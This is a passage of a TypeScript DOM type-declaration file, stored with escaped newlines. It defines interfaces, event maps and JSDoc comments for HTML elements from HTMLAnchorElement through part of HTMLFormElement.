string;\\n    /**\\n     * Sets or retrieves the window or frame at which to target content.\\n     */\\n    target: string;\\n    /**\\n     * Retrieves or sets the text of the object as a string.\\n     */\\n    text: string;\\n    type: string;\\n    urn: string;\\n    /**\\n     * Returns a string representation of an object.\\n     */\\n    toString(): string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLAnchorElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLAnchorElement: {\\n    prototype: HTMLAnchorElement;\\n    new(): HTMLAnchorElement;\\n};\\n\\ninterface HTMLAppletElement extends HTMLElement {\\n    align: string;\\n    /**\\n     * Sets or retrieves a text alternative to the graphic.\\n     */\\n    alt: string;\\n    /**\\n     * Gets or sets the optional alternative HTML script to execute if the object fails to load.\\n     */\\n    altHtml: string;\\n    /**\\n     * Sets or retrieves a character string that can be used to implement your own archive functionality for the object.\\n     */\\n    archive: string;\\n    /**\\n     * Retrieves a string of the URL where the object tag can be found. This is often the href of the document that the object is in, or the value set by a base element.\\n     */\\n    readonly BaseHref: string;\\n    border: string;\\n    code: string;\\n    /**\\n     * Sets or retrieves the URL of the component.\\n     */\\n    codeBase: string;\\n    /**\\n     * Sets or retrieves the Internet media type for the code associated with the object.\\n     */\\n    codeType: string;\\n    /**\\n     * Address of a pointer to the document this page or frame contains. If there is no document, then null will be returned.\\n     */\\n    readonly contentDocument: Document;\\n    /**\\n     * Sets or retrieves the URL that references the data of the object.\\n     */\\n    data: string;\\n    /**\\n     * Sets or retrieves a character string that can be used to implement your own declare functionality for the object.\\n     */\\n    declare: boolean;\\n    readonly form: HTMLFormElement;\\n    /**\\n     * Sets or retrieves the height of the object.\\n     */\\n    height: string;\\n    hspace: number;\\n    /**\\n     * Sets or retrieves the shape of the object.\\n     */\\n    name: string;\\n    object: string | null;\\n    /**\\n     * Sets or retrieves a message to be displayed while an object is loading.\\n     */\\n    standby: string;\\n    /**\\n     * Returns the content type of the object.\\n     */\\n    type: string;\\n    /**\\n     * Sets or retrieves the URL, often with a bookmark extension (#name), to use as a client-side image map.\\n     */\\n    useMap: string;\\n    vspace: number;\\n    width: number;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLAppletElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLAppletElement: {\\n    prototype: HTMLAppletElement;\\n    new(): HTMLAppletElement;\\n};\\n\\ninterface HTMLAreaElement extends HTMLElement {\\n    /**\\n     * Sets or retrieves a text alternative to the graphic.\\n     */\\n    alt: string;\\n    /**\\n     * Sets or retrieves the coordinates of the object.\\n     */\\n    coords: string;\\n    download: string;\\n    /**\\n     * Sets or retrieves the subsection of the href property that follows the number sign (#).\\n     */\\n    hash: string;\\n    /**\\n     * Sets or retrieves the hostname and port number of the location or URL.\\n     */\\n    host: string;\\n    /**\\n     * Sets or retrieves the host name part of the location or URL.\\n     */\\n    hostname: string;\\n    /**\\n     * Sets or retrieves a destination URL or an anchor point.\\n     */\\n    href: string;\\n    /**\\n     * Sets or gets whether clicks in this region cause action.\\n     */\\n    noHref: boolean;\\n    /**\\n     * Sets or retrieves the file name or path specified by the object.\\n     */\\n    pathname: string;\\n    /**\\n     * Sets or retrieves the port number associated with a URL.\\n     */\\n    port: string;\\n    /**\\n     * Sets or retrieves the protocol portion of a URL.\\n     */\\n    protocol: string;\\n    rel: string;\\n    /**\\n     * Sets or retrieves the substring of the href property that follows the question mark.\\n     */\\n    search: string;\\n    /**\\n     * Sets or retrieves the shape of the object.\\n     */\\n    shape: string;\\n    /**\\n     * Sets or retrieves the window or frame at which to target content.\\n     */\\n    target: string;\\n    /**\\n     * Returns a string representation of an object.\\n     */\\n    toString(): string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLAreaElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLAreaElement: {\\n    prototype: HTMLAreaElement;\\n    new(): HTMLAreaElement;\\n};\\n\\ninterface HTMLAreasCollection extends HTMLCollectionBase {\\n}\\n\\ndeclare var HTMLAreasCollection: {\\n    prototype: HTMLAreasCollection;\\n    new(): HTMLAreasCollection;\\n};\\n\\ninterface HTMLAudioElement extends HTMLMediaElement {\\n    addEventListener<K extends keyof HTMLMediaElementEventMap>(type: K, listener: (this: HTMLAudioElement, ev: HTMLMediaElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLAudioElement: {\\n    prototype: HTMLAudioElement;\\n    new(): HTMLAudioElement;\\n};\\n\\ninterface HTMLBaseElement extends HTMLElement {\\n    /**\\n     * Gets or sets the baseline URL on which relative links are based.\\n     */\\n    href: string;\\n    /**\\n     * Sets or retrieves the window or frame at which to target content.\\n     */\\n    target: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLBaseElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLBaseElement: {\\n    prototype: HTMLBaseElement;\\n    new(): HTMLBaseElement;\\n};\\n\\ninterface HTMLBaseFontElement extends HTMLElement, DOML2DeprecatedColorProperty {\\n    /**\\n     * Sets or retrieves the current typeface family.\\n     */\\n    face: string;\\n    /**\\n     * Sets or retrieves the font size of the object.\\n     */\\n    size: number;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLBaseFontElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLBaseFontElement: {\\n    prototype: HTMLBaseFontElement;\\n    new(): HTMLBaseFontElement;\\n};\\n\\ninterface HTMLBodyElementEventMap extends HTMLElementEventMap {\\n    \"afterprint\": Event;\\n    \"beforeprint\": Event;\\n    \"beforeunload\": BeforeUnloadEvent;\\n    \"blur\": FocusEvent;\\n    \"error\": ErrorEvent;\\n    \"focus\": FocusEvent;\\n    \"hashchange\": HashChangeEvent;\\n    \"load\": Event;\\n    \"message\": MessageEvent;\\n    \"offline\": Event;\\n    \"online\": Event;\\n    \"orientationchange\": Event;\\n    \"pagehide\": PageTransitionEvent;\\n    \"pageshow\": PageTransitionEvent;\\n    \"popstate\": PopStateEvent;\\n    \"resize\": UIEvent;\\n    \"scroll\": UIEvent;\\n    \"storage\": StorageEvent;\\n    \"unload\": Event;\\n}\\n\\ninterface HTMLBodyElement extends HTMLElement {\\n    aLink: any;\\n    background: string;\\n    bgColor: any;\\n    bgProperties: string;\\n    link: any;\\n    noWrap: boolean;\\n    onafterprint: (this: HTMLBodyElement, ev: Event) => any;\\n    onbeforeprint: (this: HTMLBodyElement, ev: Event) => any;\\n    onbeforeunload: (this: HTMLBodyElement, ev: BeforeUnloadEvent) => any;\\n    onblur: (this: HTMLBodyElement, ev: FocusEvent) => any;\\n    onerror: (this: HTMLBodyElement, ev: ErrorEvent) => any;\\n    onfocus: (this: HTMLBodyElement, ev: FocusEvent) => any;\\n    onhashchange: (this: HTMLBodyElement, ev: HashChangeEvent) => any;\\n    onload: (this: HTMLBodyElement, ev: Event) => any;\\n    onmessage: (this: HTMLBodyElement, ev: MessageEvent) => any;\\n    onoffline: (this: HTMLBodyElement, ev: Event) => any;\\n    ononline: (this: HTMLBodyElement, ev: Event) => any;\\n    onorientationchange: (this: HTMLBodyElement, ev: Event) => any;\\n    onpagehide: (this: HTMLBodyElement, ev: PageTransitionEvent) => any;\\n    onpageshow: (this: HTMLBodyElement, ev: PageTransitionEvent) => any;\\n    onpopstate: (this: HTMLBodyElement, ev: PopStateEvent) => any;\\n    onresize: (this: HTMLBodyElement, ev: UIEvent) => any;\\n    onscroll: (this: HTMLBodyElement, ev: UIEvent) => any;\\n    onstorage: (this: HTMLBodyElement, ev: StorageEvent) => any;\\n    onunload: (this: HTMLBodyElement, ev: Event) => any;\\n    text: any;\\n    vLink: any;\\n    addEventListener<K extends keyof HTMLBodyElementEventMap>(type: K, listener: (this: HTMLBodyElement, ev: HTMLBodyElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLBodyElement: {\\n    prototype: HTMLBodyElement;\\n    new(): HTMLBodyElement;\\n};\\n\\ninterface HTMLBRElement extends HTMLElement {\\n    /**\\n     * Sets or retrieves the side on which floating objects are not to be positioned when any IHTMLBlockElement is inserted into the document.\\n     */\\n    clear: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLBRElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLBRElement: {\\n    prototype: HTMLBRElement;\\n    new(): HTMLBRElement;\\n};\\n\\ninterface HTMLButtonElement extends HTMLElement {\\n    /**\\n     * Provides a way to direct a user to a specific field when a document loads. This can provide both direction and convenience for a user, reducing the need to click or tab to a field when a page opens. This attribute is true when present on an element, and false when missing.\\n     */\\n    autofocus: boolean;\\n    disabled: boolean;\\n    /**\\n     * Retrieves a reference to the form that the object is embedded in.\\n     */\\n    readonly form: HTMLFormElement;\\n    /**\\n     * Overrides the action attribute (where the data on a form is sent) on the parent form element.\\n     */\\n    formAction: string;\\n    /**\\n     * Used to override the encoding (formEnctype attribute) specified on the form element.\\n     */\\n    formEnctype: string;\\n    /**\\n     * Overrides the submit method attribute previously specified on a form element.\\n     */\\n    formMethod: string;\\n    /**\\n     * Overrides any validation or required attributes on a form or form elements to allow it to be submitted without validation. This can be used to create a \"save draft\"-type submit option.\\n     */\\n    formNoValidate: string;\\n    /**\\n     * Overrides the target attribute on a form element.\\n     */\\n    formTarget: string;\\n    /**\\n     * Sets or retrieves the name of the object.\\n     */\\n    name: string;\\n    status: any;\\n    /**\\n     * Gets the classification and default behavior of the button.\\n     */\\n    type: string;\\n    /**\\n     * Returns the error message that would be displayed if the user submits the form, or an empty string if no error message. It also triggers the standard error message, such as \"this is a required field\". The result is that the user sees validation messages without actually submitting.\\n     */\\n    readonly validationMessage: string;\\n    /**\\n     * Returns a  ValidityState object that represents the validity states of an element.\\n     */\\n    readonly validity: ValidityState;\\n    /**\\n     * Sets or retrieves the default or selected value of the control.\\n     */\\n    value: string;\\n    /**\\n     * Returns whether an element will successfully validate based on forms validation rules and constraints.\\n     */\\n    readonly willValidate: boolean;\\n    /**\\n     * Returns whether a form will validate when it is submitted, without having to submit it.\\n     */\\n    checkValidity(): boolean;\\n    /**\\n     * Sets a custom error message that is displayed when a form is submitted.\\n     * @param error Sets a custom error message that is displayed when a form is submitted.\\n     */\\n    setCustomValidity(error: string): void;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLButtonElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLButtonElement: {\\n    prototype: HTMLButtonElement;\\n    new(): HTMLButtonElement;\\n};\\n\\ninterface HTMLCanvasElement extends HTMLElement {\\n    /**\\n     * Gets or sets the height of a canvas element on a document.\\n     */\\n    height: number;\\n    /**\\n     * Gets or sets the width of a canvas element on a document.\\n     */\\n    width: number;\\n    /**\\n     * Returns an object that provides methods and properties for drawing and manipulating images and graphics on a canvas element in a document. A context object includes information about colors, line widths, fonts, and other graphic parameters that can be drawn on a canvas.\\n     * @param contextId The identifier (ID) of the type of canvas to create. Internet Explorer 9 and Internet Explorer 10 support only a 2-D context using canvas.getContext(\"2d\"); IE11 Preview also supports 3-D or WebGL context using canvas.getContext(\"experimental-webgl\");\\n     */\\n    getContext(contextId: \"2d\", contextAttributes?: Canvas2DContextAttributes): CanvasRenderingContext2D | null;\\n    getContext(contextId: \"webgl\" | \"experimental-webgl\", contextAttributes?: WebGLContextAttributes): WebGLRenderingContext | null;\\n    getContext(contextId: string, contextAttributes?: {}): CanvasRenderingContext2D | WebGLRenderingContext | null;\\n    /**\\n     * Returns a blob object encoded as a Portable Network Graphics (PNG) format from a canvas image or drawing.\\n     */\\n    msToBlob(): Blob;\\n    /**\\n     * Returns the content of the current canvas as an image that you can use as a source for another canvas or an HTML element.\\n     * @param type The standard MIME type for the image format to return. If you do not specify this parameter, the default value is a PNG format image.\\n     */\\n    toDataURL(type?: string, ...args: any[]): string;\\n    toBlob(callback: (result: Blob | null) => void, type?: string, ...arguments: any[]): void;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLCanvasElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLCanvasElement: {\\n    prototype: HTMLCanvasElement;\\n    new(): HTMLCanvasElement;\\n};\\n\\ninterface HTMLCollectionBase {\\n    /**\\n     * Sets or retrieves the number of objects in a collection.\\n     */\\n    readonly length: number;\\n    /**\\n     * Retrieves an object from various collections.\\n     */\\n    item(index: number): Element;\\n    [index: number]: Element;\\n}\\n\\ninterface HTMLCollection extends HTMLCollectionBase {\\n    /**\\n     * Retrieves a select object or an object from an options collection.\\n     */\\n    namedItem(name: string): Element | null;\\n}\\n\\ndeclare var HTMLCollection: {\\n    prototype: HTMLCollection;\\n    new(): HTMLCollection;\\n};\\n\\ninterface HTMLDataElement extends HTMLElement {\\n    value: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLDataElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLDataElement: {\\n    prototype: HTMLDataElement;\\n    new(): HTMLDataElement;\\n};\\n\\ninterface HTMLDataListElement extends HTMLElement {\\n    options: HTMLCollectionOf<HTMLOptionElement>;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLDataListElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLDataListElement: {\\n    prototype: HTMLDataListElement;\\n    new(): HTMLDataListElement;\\n};\\n\\ninterface HTMLDirectoryElement extends HTMLElement {\\n    compact: boolean;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLDirectoryElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLDirectoryElement: {\\n    prototype: HTMLDirectoryElement;\\n    new(): HTMLDirectoryElement;\\n};\\n\\ninterface HTMLDivElement extends HTMLElement {\\n    /**\\n     * Sets or retrieves how the object is aligned with adjacent text.\\n     */\\n    align: string;\\n    /**\\n     * Sets or retrieves whether the browser automatically performs wordwrap.\\n     */\\n    noWrap: boolean;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLDivElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLDivElement: {\\n    prototype: HTMLDivElement;\\n    new(): HTMLDivElement;\\n};\\n\\ninterface HTMLDListElement extends HTMLElement {\\n    compact: boolean;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLDListElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLDListElement: {\\n    prototype: HTMLDListElement;\\n    new(): HTMLDListElement;\\n};\\n\\ninterface HTMLDocument extends Document {\\n    addEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: HTMLDocument, ev: DocumentEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLDocument: {\\n    prototype: HTMLDocument;\\n    new(): HTMLDocument;\\n};\\n\\ninterface HTMLElementEventMap extends ElementEventMap {\\n    \"abort\": UIEvent;\\n    \"activate\": UIEvent;\\n    \"beforeactivate\": UIEvent;\\n    \"beforecopy\": ClipboardEvent;\\n    \"beforecut\": ClipboardEvent;\\n    \"beforedeactivate\": UIEvent;\\n    \"beforepaste\": ClipboardEvent;\\n    \"blur\": FocusEvent;\\n    \"canplay\": Event;\\n    \"canplaythrough\": Event;\\n    \"change\": Event;\\n    \"click\": MouseEvent;\\n    \"contextmenu\": PointerEvent;\\n    \"copy\": ClipboardEvent;\\n    \"cuechange\": Event;\\n    \"cut\": ClipboardEvent;\\n    \"dblclick\": MouseEvent;\\n    \"deactivate\": UIEvent;\\n    \"drag\": DragEvent;\\n    \"dragend\": DragEvent;\\n    \"dragenter\": DragEvent;\\n    \"dragleave\": DragEvent;\\n    \"dragover\": DragEvent;\\n    \"dragstart\": DragEvent;\\n    \"drop\": DragEvent;\\n    \"durationchange\": Event;\\n    \"emptied\": Event;\\n    \"ended\": MediaStreamErrorEvent;\\n    \"error\": ErrorEvent;\\n    \"focus\": FocusEvent;\\n    \"input\": Event;\\n    \"invalid\": Event;\\n    \"keydown\": KeyboardEvent;\\n    \"keypress\": KeyboardEvent;\\n    \"keyup\": KeyboardEvent;\\n    \"load\": Event;\\n    \"loadeddata\": Event;\\n    \"loadedmetadata\": Event;\\n    \"loadstart\": Event;\\n    \"mousedown\": MouseEvent;\\n    \"mouseenter\": MouseEvent;\\n    \"mouseleave\": MouseEvent;\\n    \"mousemove\": MouseEvent;\\n    \"mouseout\": MouseEvent;\\n    \"mouseover\": MouseEvent;\\n    \"mouseup\": MouseEvent;\\n    \"mousewheel\": WheelEvent;\\n    \"MSContentZoom\": UIEvent;\\n    \"MSManipulationStateChanged\": MSManipulationEvent;\\n    \"paste\": ClipboardEvent;\\n    \"pause\": Event;\\n    \"play\": Event;\\n    \"playing\": Event;\\n    \"progress\": ProgressEvent;\\n    \"ratechange\": Event;\\n    \"reset\": Event;\\n    \"scroll\": UIEvent;\\n    \"seeked\": Event;\\n    \"seeking\": Event;\\n    \"select\": UIEvent;\\n    \"selectstart\": Event;\\n    \"stalled\": Event;\\n    \"submit\": Event;\\n    \"suspend\": Event;\\n    \"timeupdate\": Event;\\n    \"volumechange\": Event;\\n    \"waiting\": Event;\\n}\\n\\ninterface HTMLElement extends Element {\\n    accessKey: string;\\n    readonly children: HTMLCollection;\\n    contentEditable: string;\\n    readonly dataset: DOMStringMap;\\n    dir: string;\\n    draggable: boolean;\\n    hidden: boolean;\\n    hideFocus: boolean;\\n    innerText: string;\\n    readonly isContentEditable: boolean;\\n    lang: string;\\n    readonly offsetHeight: number;\\n    readonly offsetLeft: number;\\n    readonly offsetParent: Element;\\n    readonly offsetTop: number;\\n    readonly offsetWidth: number;\\n    onabort: (this: HTMLElement, ev: UIEvent) => any;\\n    onactivate: (this: HTMLElement, ev: UIEvent) => any;\\n    onbeforeactivate: (this: HTMLElement, ev: UIEvent) => any;\\n    onbeforecopy: (this: HTMLElement, ev: ClipboardEvent) => any;\\n    onbeforecut: (this: HTMLElement, ev: ClipboardEvent) => any;\\n    onbeforedeactivate: (this: HTMLElement, ev: UIEvent) => any;\\n    onbeforepaste: (this: HTMLElement, ev: ClipboardEvent) => any;\\n    onblur: (this: HTMLElement, ev: FocusEvent) => any;\\n    oncanplay: (this: HTMLElement, ev: Event) => any;\\n    oncanplaythrough: (this: HTMLElement, ev: Event) => any;\\n    onchange: (this: HTMLElement, ev: Event) => any;\\n    onclick: (this: HTMLElement, ev: MouseEvent) => any;\\n    oncontextmenu: (this: HTMLElement, ev: PointerEvent) => any;\\n    oncopy: (this: HTMLElement, ev: ClipboardEvent) => any;\\n    oncuechange: (this: HTMLElement, ev: Event) => any;\\n    oncut: (this: HTMLElement, ev: ClipboardEvent) => any;\\n    ondblclick: (this: HTMLElement, ev: MouseEvent) => any;\\n    ondeactivate: (this: HTMLElement, ev: UIEvent) => any;\\n    ondrag: (this: HTMLElement, ev: DragEvent) => any;\\n    ondragend: (this: HTMLElement, ev: DragEvent) => any;\\n    ondragenter: (this: HTMLElement, ev: DragEvent) => any;\\n    ondragleave: (this: HTMLElement, ev: DragEvent) => any;\\n    ondragover: (this: HTMLElement, ev: DragEvent) => any;\\n    ondragstart: (this: HTMLElement, ev: DragEvent) => any;\\n    ondrop: (this: HTMLElement, ev: DragEvent) => any;\\n    ondurationchange: (this: HTMLElement, ev: Event) => any;\\n    onemptied: (this: HTMLElement, ev: Event) => any;\\n    onended: (this: HTMLElement, ev: MediaStreamErrorEvent) => any;\\n    onerror: (this: HTMLElement, ev: ErrorEvent) => any;\\n    onfocus: (this: HTMLElement, ev: FocusEvent) => any;\\n    oninput: (this: HTMLElement, ev: Event) => any;\\n    oninvalid: (this: HTMLElement, ev: Event) => any;\\n    onkeydown: (this: HTMLElement, ev: KeyboardEvent) => any;\\n    onkeypress: (this: HTMLElement, ev: KeyboardEvent) => any;\\n    onkeyup: (this: HTMLElement, ev: KeyboardEvent) => any;\\n    onload: (this: HTMLElement, ev: Event) => any;\\n    onloadeddata: (this: HTMLElement, ev: Event) => any;\\n    onloadedmetadata: (this: HTMLElement, ev: Event) => any;\\n    onloadstart: (this: HTMLElement, ev: Event) => any;\\n    onmousedown: (this: HTMLElement, ev: MouseEvent) => any;\\n    onmouseenter: (this: HTMLElement, ev: MouseEvent) => any;\\n    onmouseleave: (this: HTMLElement, ev: MouseEvent) => any;\\n    onmousemove: (this: HTMLElement, ev: MouseEvent) => any;\\n    onmouseout: (this: HTMLElement, ev: MouseEvent) => any;\\n    onmouseover: (this: HTMLElement, ev: MouseEvent) => any;\\n    onmouseup: (this: HTMLElement, ev: MouseEvent) => any;\\n    onmousewheel: (this: HTMLElement, ev: WheelEvent) => any;\\n    onmscontentzoom: (this: HTMLElement, ev: UIEvent) => any;\\n    onmsmanipulationstatechanged: (this: HTMLElement, ev: MSManipulationEvent) => any;\\n    onpaste: (this: HTMLElement, ev: ClipboardEvent) => any;\\n    onpause: (this: HTMLElement, ev: Event) => any;\\n    onplay: (this: HTMLElement, ev: Event) => any;\\n    onplaying: (this: HTMLElement, ev: Event) => any;\\n    onprogress: (this: HTMLElement, ev: ProgressEvent) => any;\\n    onratechange: (this: HTMLElement, ev: Event) => any;\\n    onreset: (this: HTMLElement, ev: Event) => any;\\n    onscroll: (this: HTMLElement, ev: UIEvent) => any;\\n    onseeked: (this: HTMLElement, ev: Event) => any;\\n    onseeking: (this: HTMLElement, ev: Event) => any;\\n    onselect: (this: HTMLElement, ev: UIEvent) => any;\\n    onselectstart: (this: HTMLElement, ev: Event) => any;\\n    onstalled: (this: HTMLElement, ev: Event) => any;\\n    onsubmit: (this: HTMLElement, ev: Event) => any;\\n    onsuspend: (this: HTMLElement, ev: Event) => any;\\n    ontimeupdate: (this: HTMLElement, ev: Event) => any;\\n    onvolumechange: (this: HTMLElement, ev: Event) => any;\\n    onwaiting: (this: HTMLElement, ev: Event) => any;\\n    outerText: string;\\n    spellcheck: boolean;\\n    readonly style: CSSStyleDeclaration;\\n    tabIndex: number;\\n    title: string;\\n    blur(): void;\\n    click(): void;\\n    dragDrop(): boolean;\\n    focus(): void;\\n    msGetInputContext(): MSInputMethodContext;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLElement: {\\n    prototype: HTMLElement;\\n    new(): HTMLElement;\\n};\\n\\ninterface HTMLEmbedElement extends HTMLElement, GetSVGDocument {\\n    /**\\n     * Sets or retrieves the height of the object.\\n     */\\n    height: string;\\n    hidden: any;\\n    /**\\n     * Gets or sets whether the DLNA PlayTo device is available.\\n     */\\n    msPlayToDisabled: boolean;\\n    /**\\n     * Gets or sets the path to the preferred media source. This enables the Play To target device to stream the media content, which can be DRM protected, from a different location, such as a cloud media server.\\n     */\\n    msPlayToPreferredSourceUri: string;\\n    /**\\n     * Gets or sets the primary DLNA PlayTo device.\\n     */\\n    msPlayToPrimary: boolean;\\n    /**\\n     * Gets the source associated with the media element for use by the PlayToManager.\\n     */\\n    readonly msPlayToSource: any;\\n    /**\\n     * Sets or retrieves the name of the object.\\n     */\\n    name: string;\\n    /**\\n     * Retrieves the palette used for the embedded document.\\n     */\\n    readonly palette: string;\\n    /**\\n     * Retrieves the URL of the plug-in used to view an embedded document.\\n     */\\n    readonly pluginspage: string;\\n    readonly readyState: string;\\n    /**\\n     * Sets or retrieves a URL to be loaded by the object.\\n     */\\n    src: string;\\n    /**\\n     * Sets or retrieves the height and width units of the embed object.\\n     */\\n    units: string;\\n    /**\\n     * Sets or retrieves the width of the object.\\n     */\\n    width: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLEmbedElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLEmbedElement: {\\n    prototype: HTMLEmbedElement;\\n    new(): HTMLEmbedElement;\\n};\\n\\ninterface HTMLFieldSetElement extends HTMLElement {\\n    /**\\n     * Sets or retrieves how the object is aligned with adjacent text.\\n     */\\n    align: string;\\n    disabled: boolean;\\n    /**\\n     * Retrieves a reference to the form that the object is embedded in.\\n     */\\n    readonly form: HTMLFormElement;\\n    name: string;\\n    /**\\n     * Returns the error message that would be displayed if the user submits the form, or an empty string if no error message. It also triggers the standard error message, such as \"this is a required field\". The result is that the user sees validation messages without actually submitting.\\n     */\\n    readonly validationMessage: string;\\n    /**\\n     * Returns a  ValidityState object that represents the validity states of an element.\\n     */\\n    readonly validity: ValidityState;\\n    /**\\n     * Returns whether an element will successfully validate based on forms validation rules and constraints.\\n     */\\n    readonly willValidate: boolean;\\n    /**\\n     * Returns whether a form will validate when it is submitted, without having to submit it.\\n     */\\n    checkValidity(): boolean;\\n    /**\\n     * Sets a custom error message that is displayed when a form is submitted.\\n     * @param error Sets a custom error message that is displayed when a form is submitted.\\n     */\\n    setCustomValidity(error: string): void;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLFieldSetElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLFieldSetElement: {\\n    prototype: HTMLFieldSetElement;\\n    new(): HTMLFieldSetElement;\\n};\\n\\ninterface HTMLFontElement extends HTMLElement, DOML2DeprecatedColorProperty, DOML2DeprecatedSizeProperty {\\n    /**\\n     * Sets or retrieves the current typeface family.\\n     */\\n    face: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLFontElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLFontElement: {\\n    prototype: HTMLFontElement;\\n    new(): HTMLFontElement;\\n};\\n\\ninterface HTMLFormControlsCollection extends HTMLCollectionBase {\\n    namedItem(name: string): HTMLCollection | Element | null;\\n}\\n\\ndeclare var HTMLFormControlsCollection: {\\n    prototype: HTMLFormControlsCollection;\\n    new(): HTMLFormControlsCollection;\\n};\\n\\ninterface HTMLFormElement extends HTMLElement {\\n    /**\\n     * Sets or retrieves a list of character encodings for input data that must be accepted by the server processing the form.\\n     */\\n    acceptCharset: string;\\n    /**\\n     * Sets or retrieves the URL to which the form content is sent for processing.\\n     */\\n    action: string;\\n    /**\\n     * Specifies whether autocomplete is applied to an editable text field.\\n     */\\n    autocomplete: string;\\n    /**\\n     * Retrieves a collection, in source order, of all controls in a given form.\\n     */\\n    readonly elements: HTMLFormControlsCollection;\\n    /**\\n     * Sets or retrieves the MIME encoding for the form.\\n     */\\n    encoding: string;\\n    /**\\n     * Sets or retrieves the encoding type for the form.\\n     */\\n    enctype: string;\\n    /**\\n     * Sets or retrieves the number of objects in a collection.\\n     */\\n    readonly length: number;\\n    /**\\n     * Sets or retrieves how to send the form data to the server.\\n     */\\n    method: string;\\n    /**\\n     * Sets or retrieves the name of the object.\\n     */\\n    name: string;\\n    /**\\n     * Designates a form that is not validated when submitted.\\n     */\\n    noValidate: boolean;\\n    /**\\n     * Sets or retrieves the window or frame at which to target content.\\n     */\\n    target: string;\\n    /**\\n     * Returns whether a form will validate when it is submitted, without having to submit it.\\n     */\\n    checkValidity(): boolean;\\n    /**\\n     * Retrieves a form object or an object from an elements collection.\\n     * @param name Variant of type Number or String that specifies the object or collection to retrieve. If this parameter is a Number, it is the zero-based index of the object. If this parameter is a string, all objects with matching name or id properties are retrieved, and a collection is returned if more than one match is made.\\n     * @param index Variant of type Number that specifies the zero-based index of the object to retrieve when a collection is returned.\\n   